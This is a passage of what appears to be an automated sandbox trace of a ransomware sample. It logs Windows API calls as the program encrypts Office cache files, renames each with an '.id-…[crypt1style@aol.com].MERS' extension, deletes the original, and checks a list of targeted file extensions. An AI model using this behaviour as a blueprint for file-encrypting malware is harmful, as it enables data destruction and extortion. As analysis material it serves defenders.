dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.019] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.019] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.019] GetLastError () returned 0x0 [0035.019] ReadFile (in: hFile=0x1d8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x391, lpOverlapped=0x0) returned 1 [0035.023] WriteFile (in: hFile=0x1e8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0035.024] ReadFile (in: hFile=0x1d8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.024] WriteFile (in: hFile=0x1e8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.024] SetEndOfFile (hFile=0x1e8) returned 1 [0035.024] CloseHandle (hObject=0x1e8) returned 1 [0035.025] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.025] SetEndOfFile (hFile=0x1d8) returned 1 [0035.025] CloseHandle (hObject=0x1d8) returned 1 [0035.026] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.026] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0035.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.026] lstrlenW (lpString=".doc") returned 4 [0035.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.026] lstrlenW (lpString=".docx") returned 5 [0035.026] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.026] lstrlenW (lpString=".pdf") returned 4 [0035.026] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.026] lstrlenW (lpString=".xls") returned 4 [0035.026] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.026] lstrlenW (lpString=".xlsx") returned 5 [0035.026] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.026] lstrlenW (lpString=".ppt") returned 4 [0035.026] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.026] lstrlenW (lpString=".zip") returned 4 [0035.026] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.026] lstrlenW (lpString=".rar") returned 4 [0035.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString=".bz2") returned 4 [0035.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString=".7z") returned 3 [0035.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.027] lstrlenW (lpString=".dbf") returned 4 [0035.027] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.027] lstrlenW (lpString=".1cd") returned 4 [0035.027] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.027] lstrlenW (lpString=".jpg") returned 4 [0035.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.027] lstrlenW (lpString=".doc") returned 4 [0035.027] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString=".docx") returned 5 [0035.027] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.027] lstrlenW (lpString=".pdf") returned 4 [0035.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString=".xls") returned 4 [0035.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString=".xlsx") returned 5 [0035.027] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.027] lstrlenW (lpString=".ppt") returned 4 [0035.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.027] lstrlenW (lpString=".zip") returned 4 [0035.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.028] lstrlenW (lpString=".rar") returned 4 [0035.028] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.028] lstrlenW (lpString=".bz2") returned 4 [0035.028] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.028] lstrlenW (lpString=".7z") returned 3 [0035.028] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.028] lstrlenW (lpString=".dbf") returned 4 [0035.028] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.028] lstrlenW (lpString=".1cd") returned 4 [0035.028] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.028] lstrlenW (lpString=".jpg") returned 4 [0035.028] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.028] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.028] lstrlenW (lpString="Setup.xml") returned 9 [0035.028] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.028] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1452) returned 1 [0035.029] CloseHandle (hObject=0x1d8) returned 1 [0035.029] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.029] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.029] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.029] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.029] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.029] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.029] GetLastError () returned 0x0 [0035.029] ReadFile (in: hFile=0x1d8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0035.039] WriteFile (in: hFile=0x1e8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0035.040] ReadFile (in: hFile=0x1d8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.040] WriteFile (in: hFile=0x1e8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.040] SetEndOfFile (hFile=0x1e8) returned 1 [0035.040] CloseHandle (hObject=0x1e8) returned 1 [0035.041] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.041] SetEndOfFile (hFile=0x1d8) returned 1 [0035.041] CloseHandle (hObject=0x1d8) returned 1 [0035.041] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.042] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.042] lstrlenW (lpString=".doc") returned 4 [0035.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.042] lstrlenW (lpString=".docx") returned 5 [0035.042] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.042] lstrlenW (lpString=".pdf") returned 4 [0035.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.042] lstrlenW (lpString=".xls") returned 4 [0035.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.042] lstrlenW (lpString=".xlsx") returned 5 [0035.042] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.042] lstrlenW (lpString=".ppt") returned 4 [0035.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.043] lstrlenW (lpString=".zip") returned 4 [0035.043] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.043] lstrlenW (lpString=".rar") returned 4 [0035.043] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.043] lstrlenW (lpString=".bz2") returned 4 [0035.043] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.043] lstrlenW (lpString=".7z") returned 3 [0035.043] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.043] lstrlenW (lpString=".dbf") returned 4 [0035.043] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.043] lstrlenW (lpString=".1cd") returned 4 [0035.043] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.043] lstrlenW (lpString=".jpg") returned 4 [0035.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.043] lstrlenW (lpString=".doc") returned 4 [0035.043] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.043] lstrlenW (lpString=".docx") returned 5 [0035.043] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.043] lstrlenW (lpString=".pdf") returned 4 [0035.043] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.043] lstrlenW (lpString=".xls") returned 4 [0035.043] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.043] lstrlenW (lpString=".xlsx") returned 5 [0035.043] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.044] lstrlenW (lpString=".ppt") returned 4 [0035.044] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.044] lstrlenW (lpString=".zip") returned 4 [0035.044] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.044] lstrlenW (lpString=".rar") returned 4 [0035.044] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.044] lstrlenW (lpString=".bz2") returned 4 [0035.044] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.044] lstrlenW (lpString=".7z") returned 3 [0035.044] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.044] lstrlenW (lpString=".dbf") returned 4 [0035.044] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.044] lstrlenW (lpString=".1cd") returned 4 [0035.044] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.045] lstrlenW (lpString=".jpg") returned 4 [0035.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.045] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.045] lstrlenW (lpString="branding.xml") returned 12 [0035.045] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.046] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=596341) returned 1 [0035.046] CloseHandle (hObject=0x1d8) returned 1 [0035.046] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0035.046] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.046] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.046] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.046] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.046] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.046] GetLastError () returned 0x0 [0035.046] ReadFile (in: hFile=0x1d8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x91975, lpOverlapped=0x0) returned 1 [0035.073] WriteFile (in: hFile=0x1e8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0035.086] ReadFile (in: hFile=0x1d8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.086] WriteFile (in: hFile=0x1e8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.086] SetEndOfFile (hFile=0x1e8) returned 1 [0035.086] CloseHandle (hObject=0x1e8) returned 1 [0035.093] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.093] SetEndOfFile (hFile=0x1d8) returned 1 [0035.097] CloseHandle (hObject=0x1d8) returned 1 [0035.097] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.098] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0035.098] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.098] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.098] lstrlenW (lpString=".doc") returned 4 [0035.098] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.098] lstrlenW (lpString=".docx") returned 5 [0035.098] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.098] lstrlenW (lpString=".pdf") returned 4 [0035.098] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.098] lstrlenW (lpString=".xls") returned 4 [0035.098] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.098] lstrlenW (lpString=".xlsx") returned 5 [0035.098] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.098] lstrlenW (lpString=".ppt") returned 4 [0035.098] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.098] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.098] lstrlenW (lpString=".zip") returned 4 [0035.098] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.098] lstrlenW (lpString=".rar") returned 4 [0035.098] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.098] lstrlenW (lpString=".bz2") returned 4 [0035.098] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.098] lstrlenW (lpString=".7z") returned 3 [0035.099] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.099] lstrlenW (lpString=".dbf") returned 4 [0035.099] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.099] lstrlenW (lpString=".1cd") returned 4 [0035.099] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.099] lstrlenW (lpString=".jpg") returned 4 [0035.099] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.099] lstrlenW (lpString=".doc") returned 4 [0035.099] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString=".docx") returned 5 [0035.099] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.099] lstrlenW (lpString=".pdf") returned 4 [0035.099] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString=".xls") returned 4 [0035.099] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString=".xlsx") returned 5 [0035.099] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.099] lstrlenW (lpString=".ppt") returned 4 [0035.099] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.099] lstrlenW (lpString=".zip") returned 4 [0035.099] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.099] lstrlenW (lpString=".rar") returned 4 [0035.099] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString=".bz2") returned 4 [0035.099] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.099] lstrlenW (lpString=".7z") returned 3 [0035.099] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.100] lstrlenW (lpString=".dbf") returned 4 [0035.100] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.100] lstrlenW (lpString=".1cd") returned 4 [0035.100] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.100] lstrlenW (lpString=".jpg") returned 4 [0035.100] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.261] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.261] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0035.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0035.261] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=819) returned 1 [0035.261] CloseHandle (hObject=0x204) returned 1 [0035.262] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0035.262] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.262] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all 